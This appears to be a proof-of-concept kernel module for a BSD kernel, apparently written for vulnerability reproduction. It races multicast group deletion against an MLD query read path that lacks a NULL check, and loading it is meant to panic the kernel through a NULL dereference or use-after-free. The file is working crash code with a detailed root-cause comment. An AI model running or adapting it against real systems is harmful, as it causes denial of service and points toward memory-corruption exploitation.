DF-0691 / mld6_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | /* * DF-0691 harness: reproduce the NULL-deref/UAF race in mld6_input()'s * MLD_LISTENER_QUERY path vs in6_delmulti(). * * Race (confirmed in source): * mld6_input (sys/netinet6/mld6.c): line 280 ifnet_serialize_all(ifp); * line 283 TAILQ iterates ifp->if_multiaddrs; * line 290 in6m = (struct in6_multi *)ifma->ifma_protospec; <-- NO NULL check * line 292 IN6_ARE_ADDR_EQUAL(&in6m->in6m_addr, ...) <-- derefs in6m * in6_delmulti (sys/netinet6/in6.c:1761): runs under crit_enter() but NOT the * ifnet serializer: line 1773 ifma->ifma_protospec = NULL; * line 1774 LIST_REMOVE(in6m, in6m_entry); * line 1775 kfree(in6m, M_IPMADDR); * line 1778 if_delmulti(...) <-- only here takes serializer * => window where ifma is still on the list but protospec is NULL (or freed) and * mld6_input (holding the serializer) reads protospec without a NULL check => * NULL deref (or UAF if the freed in6m is reclaimed). * * The real MLD_LISTENER_QUERY handler skips the loopback interface (mld6.c:235) and * needs an INBOUND query on a non-loopback link; this isolated guest has no IPv6 MLD * querier. This harness instead replays the EXACT read pattern of mld6_input (serializer * + protospec read with no NULL check) against the real in6_addmulti/in6_delmulti on a * non-loopback interface, racing a reader vs a deleter to trigger the NULL deref. * * Run: kldload ./mld6_race.ko -> NULL-deref panic in the reader thread. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/socket.h> #include <sys/kthread.h> #include <sys/thread.h> #include <sys/thread2.h> #include <net/if.h> #include <net/if_var.h> #include <netinet/in.h> #include <netinet6/in6_var.h> #include <netinet6/nd6.h> static struct ifnet *race_ifp; static struct in6_addr grp; static volatile int race_stop = 0; static volatile int race_hits = 0; /* counts reader NULL-deref survivals (should not rise) */ /* Reader: mimics mld6_input MLD_LISTENER_QUERY body (mld6.c:280-296) exactly: * acquire serializer, iterate if_multiaddrs, read protospec with NO NULL check, * then dereference in6m->in6m_addr. If a concurrent in6_delmulti has NULLed * protospec, this derefs NULL -> page fault (the bug). */ static void mld6_reader(void *arg) { int dummy = 0; while (!race_stop) { struct ifmultiaddr *ifma; ifnet_serialize_all(race_ifp); TAILQ_FOREACH(ifma, &race_ifp->if_multiaddrs, ifma_link) { struct in6_multi *in6m; if (ifma->ifma_addr == NULL || ifma->ifma_addr->sa_family != AF_INET6) continue; /* mld6.c:290 -- NO NULL check on protospec (the bug) */ in6m = (struct in6_multi *)ifma->ifma_protospec; /* mld6.c:292 -- derefs in6m->in6m_addr; if in6m==NULL => panic */ if (IN6_ARE_ADDR_EQUAL(&in6m->in6m_addr, &grp)) dummy++; race_hits++; } ifnet_deserialize_all(race_ifp); } kprintf("DF0691: reader exiting, iterations-with-protospec-reads=%d\n", race_hits); kthread_exit(); } /* Deleter: mimics a socket leaving the group -> in6_delmulti(), which NULLs * protospec + kfrees in6m under crit_enter() WITHOUT the ifnet serializer. */ static void mld6_deleter(void *arg) { int err; while (!race_stop) { struct in6_multi *in6m = in6_addmulti(&grp, race_ifp, &err); if (in6m != NULL) in6_delmulti(in6m); /* NULLs protospec + kfree, no serializer */ } kthread_exit(); } static int mld6_race_load(module_t mod, int what, void *arg) { struct thread *rd = NULL, *dl = NULL; if (what != MOD_LOAD) return (0); race_ifp = NULL; ifnet_lock(); race_ifp = ifunit("vtnet0"); ifnet_unlock(); if (race_ifp == NULL) { kprintf("DF0691: vtnet0 not found\n"); return (0); } /* a link-local-scope multicast group */ grp.s6_addr[0] = 0xff; grp.s6_addr[1] = 0x02; grp.s6_addr[15] = 0x99; kprintf("DF0691: racing mld6_input protospec read vs in6_delmulti on %s\n", race_ifp->if_xname); kprintf("DF0691: expect NULL-deref panic when reader sees protospec=NULL\n"); kthread_create(mld6_deleter, NULL, &dl, "mld6_del"); kthread_create(mld6_reader, NULL, &rd, "mld6_rd"); /* let them race; if no panic in a few seconds, stop (unlikely) */ tsleep(&race_stop, 0, "mld6race", 8 * hz); race_stop = 1; tsleep(&race_stop, 0, "mld6done", 2 * hz); kprintf("DF0691: race window closed without NULL-deref (race not hit; rerun)\n"); return (0); } static moduledata_t mld6_race_mod = { "mld6_race", mld6_race_load, NULL }; DECLARE_MODULE(mld6_race, mld6_race_mod, SI_SUB_PSEUDO, SI_ORDER_ANY); MODULE_VERSION(mld6_race, 1); |